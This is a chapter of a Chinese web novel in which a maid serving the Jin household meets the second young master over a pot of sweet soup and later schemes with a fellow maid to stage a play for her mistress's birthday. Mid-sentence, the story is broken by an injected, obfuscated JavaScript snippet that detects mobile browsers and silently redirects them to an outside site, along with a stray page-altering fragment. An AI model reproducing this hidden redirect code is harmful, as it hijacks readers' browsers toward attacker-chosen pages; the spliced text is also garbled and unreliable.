厨房里除了瓦罐内咕噜冒泡和小火炉内的噼里啪啦声之外,寂静无声。
刚刚那一句仿若平地惊雷一般,安蘅侧着身,呆呆地看着面前的男子。
视线里那男子的眼睛眨了一下,一下子把安蘅从放空的状态拉了回来。
她快速低下头,现在看不到那人的脸,安蘅盯着他的衣袍下摆和鞋子:“是甜汤,我在煮甜汤……二少爷。”
似乎才反应过来,她匆匆站起身。
眼前的男子年龄约莫在十六,一身浅青色锦袍,布料相当好。
当今文人多数常穿青色衣裳,把青色奉为素色之最,许多平民子弟也多爱青绿色,说是青色文雅、高风亮节。
眼前之人虽着浅青,但两人距离近,安蘅能看得到这一身必定贵重非凡。
出现在金家,如此年龄的男子,应该就是那位二少爷。
安蘅希望自己没叫错人。
金诚戚看着面前低着头的陌生丫鬟,她很紧张。
安蘅头顶又是那道明亮的声音传来:“甜汤……谁要喝?”
她定了定神:“大小姐,大小姐最近很喜欢喝这甜汤,奴婢每日都会来煮一些。”
面前的男子绕过安蘅,低着头凑近那瓦罐。瓦罐的盖子还在安蘅手上,刚刚太匆忙没来得及放回去。
金诚戚没从瓦罐里看出什么,反而闻到从中飘出的香味,不是一般甜汤的甜腻,有股他说不出来的味道混在里面,中和了甜味。
他转过头,刚刚那个丫鬟还老老实实站在原地,低着头两只手不安地搅动着衣裳下摆,一副任人宰割的样子。
看着她这样子,金诚戚没忍住笑出了声。见安蘅头动了动,一脸困惑的朝他望来,又举起手,虚握成拳头挡在嘴前。
“咳,你是大姐院子里的丫鬟?之前没见过你,新来的?”
这个小丫鬟看起来更慌张了,闻言头重重点了两下,声音低不可闻:“是的,半月前刚来金府。”
“叫什么名字?”
“知衡。”
金诚戚背着手转过了身,给安蘅让了路:“这甜汤看起来不错嘛,一会煮完给我也来一碗。”
说罢,竟然从一旁拖过来一张小木椅,放在了灶边,就这样大咧咧坐了上去,似乎准备守着等汤。
安蘅看得有些目瞪口呆,没想到这个金家二少爷是这么个性格,目前她接触的几个金家的人都和他想象中不一样。
看她久久不动弹,金诚戚喊了她一声,安蘅连连应下坐回了自己那张木椅上。
刚刚厨房众人都去后院吃饭了,等他们陆续进房时,就看到安蘅直板板坐在瓦罐前,僵硬地给小火炉添树枝,一旁坐着半个月没回金家的二少爷,高大的身体缩在小板凳上,撑着头弓着背,正一眨不眨看着安蘅。
本来热闹的氛围一下子冷了下去,众人纷纷闭着嘴安静地走进厨房。
金诚戚没看向他们。安蘅察觉到那视线一直没离开自己身上,也不敢放松,只得装作更紧张的样子,时不时掀开瓦罐盖子往里观察。
等汤终于熬好,金诚戚看见那丫鬟似乎一下子放松下来,深深吸了一口气,看向自己。
这丫鬟挺有意思的。
“二少爷,甜汤好了,奴婢给你盛一碗凉凉。”
安蘅给他盛了一碗放在灶台上,用食盒装着给金元臻的那碗,朝金诚戚告了退,慌张离开了厨房。
……
拎着食盒走进澜静院,安蘅才真正放松下来,整个人动作变得利落起来,不再是刚刚在厨房里那副僵硬的样子。
金诚戚一开始问她时,安蘅确实被吓了一跳,后面小心翼翼、讨好的神情是装的,一个刚进府的丫鬟这种状态才是合理的。
和厨房众人接触久了,她也不怎么在他们面前装了,反正他们几个没什么心眼,一直装会很疲惫。
不过她不敢保证金诚戚那副样子,到底有没有看见自己在甜汤里加东西。装傻也是最保险的方案。
安蘅把甜汤放在桌上,金元臻对甜汤赞不绝口,哪怕没有补药的要求,也每天等着这碗甜汤。
“知衡,你这手艺从哪学的?”
“是跟着我娘学的。”
安夫人厨艺很好,尤其是甜汤,但不常下厨,安蘅小时候最馋这一口甜汤,总是缠着要喝,不做就在地上打滚,为此挨了安老爷不少骂。
安夫人对安蘅可以说是溺爱,她一闹就软下心来,安蘅就像跟屁虫一样跟在安夫人后面进了厨房,两只手趴在灶台上看着安夫人的动作。
久而久之这甜汤的做法也就记住了。
金元臻喝完又躺在那看话本,手上的已经换成了上次金元庭带来的那些。
金元臻身体不行,唯一算得上消遣的活动也只有话本,但在金家,若是被金老爷发现,那金元臻金元庭二人免不了一顿罚。
“小姐……”安蘅凑近了金元臻,“二少爷是个什么人,你给我讲讲吧。”
在金元臻的描述中,二少爷金诚戚很得金老爷喜欢,功课很好,在年轻一辈的世家子弟中也算得上是佼佼者。
但金诚戚似乎并不太认可金老爷那套规矩,经常被罚。
金元臻和他并不太熟悉,金诚戚长时间留在学院,一月回次金家,他们没什么时间接触。
“知衡你遇见他了?他一般不是这时候回金家,怎么提前回来了。”不知想到什么,金元臻面上露出了然神色。
因为要准备准备,几月后回京吧。安蘅在心里默默想。
……
夜晚,安蘅听到连曲的床上传来翻来覆去的动静。
“连曲,你睡不着吗?”安蘅的声音在黑漆漆的房间响起。
翻身的动静停了下来。
过了一会,连曲小心翼翼的问:“知衡,我吵到你了?”
“没有。你还在为小姐的生辰烦恼?”安蘅坐了起来。
“对……”
安蘅叹了口气,站起身,把桌上的油灯点燃,光从桌子上亮起,渐渐覆盖了半个屋子。
“我有个主意……”安蘅坐在了连曲的床边和她讲述了自己的想法,看着灯光下连曲影影绰绰的脸从困惑变成惊喜。
“你觉得怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326656|183257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么样?”安蘅挑着眉问连曲。
连曲没有回答,反而一掀被子下床,跑到自己的木箱前。里面放着她这些年存的东西。
从木箱深处翻找出一个布袋:“知衡,你太聪明了,我怎么就没想到这个……这些应该够的。”她把装钱的布袋放在桌上。
安蘅知道她拿钱想干什么,把亢奋的连曲安抚下来:“你先别急,咱们得先知道是哪些才能去买。”
……
第二日,安蘅和连曲两人就守在金元臻屋子里,一上午谁也没离开。
金元臻有点不习惯,她这院子里面一向没什么活干,也不喜欢周围有人盯着自己:“你们就这么守着吗?”
安蘅还没来得及回话,连曲已经抢先回答:“是的小姐,我们今天就守在这儿。”
语气直邦邦的,金元臻疑惑地看着连曲,就在安蘅觉得连曲快要破功时,她收回了视线,接着看她的新话本。
房间安静下来,只有翻书声。不多时,安蘅和连曲两个人对了一下视线,安蘅点了点头,连曲突然尖叫着指向床边:“啊啊啊!是蟑螂!”
金元臻被这声尖叫吓了一跳,更令她恐惧的是连曲嘴里说的内容,“蟑螂”。
金元臻一抖,花容失色,没穿鞋就跑向了连曲和安蘅。
连曲护住金元臻,安蘅扶住她,自己向房内走了一步,转过头对她说:“小姐,你们先离开这,我不怕,我去捉了它。”
在金元臻几声好好下,连曲护着金元臻躲在了房间门口。
安蘅和连曲的视线相交又错开。
她一个人独自来到了金元臻的床边。
从房间口往里看,安蘅动作很大,连角落也不放过,看起来势必不会放过这只蟑螂。
不一会,安蘅手里攥着个包住的手帕,回到房间门口。
“捉到了?”金元臻连她手中的手帕也不敢多看,在得到安蘅的肯定后长呼出一口气:“快、快去扔了……”
安蘅应下离开了二人视线。连曲扶着金元臻回到坐榻上,帮她顺气,在金元臻看不到的地方,怎么也压不住嘴角的笑。
……
安蘅跑回了她和连曲的房间,从怀里摸出一本书。正是金元臻之前看的那一本。
这本书一直被藏在床铺边的缝隙中,刚刚借口去捉蟑螂,目的就是要找出这本书。
她和连曲打算从话本子入手,来为金元臻庆生。
她能看出来金元臻不是一个循规蹈矩之人,无奈碍于身体因素,只能整日窝在自己的院子中。
连曲给她织香囊,有心,但她不一定会很喜欢。更何况每年都收一样的礼物。
金元臻身体弱,带她出去实在不保险,况且金老爷也不会允许。
安蘅想着既然她喜欢看话本子,不若就让自己和连曲来为金元臻演一出戏,演话本子里的戏。
这个提议也有点自己的私心,进了金府之后安蘅事情太多,刚好可以借着生辰礼的机会放松一下,
等她这几天看完这本话本子,找出个高昂的片段,接下来就是连曲发挥的时候了。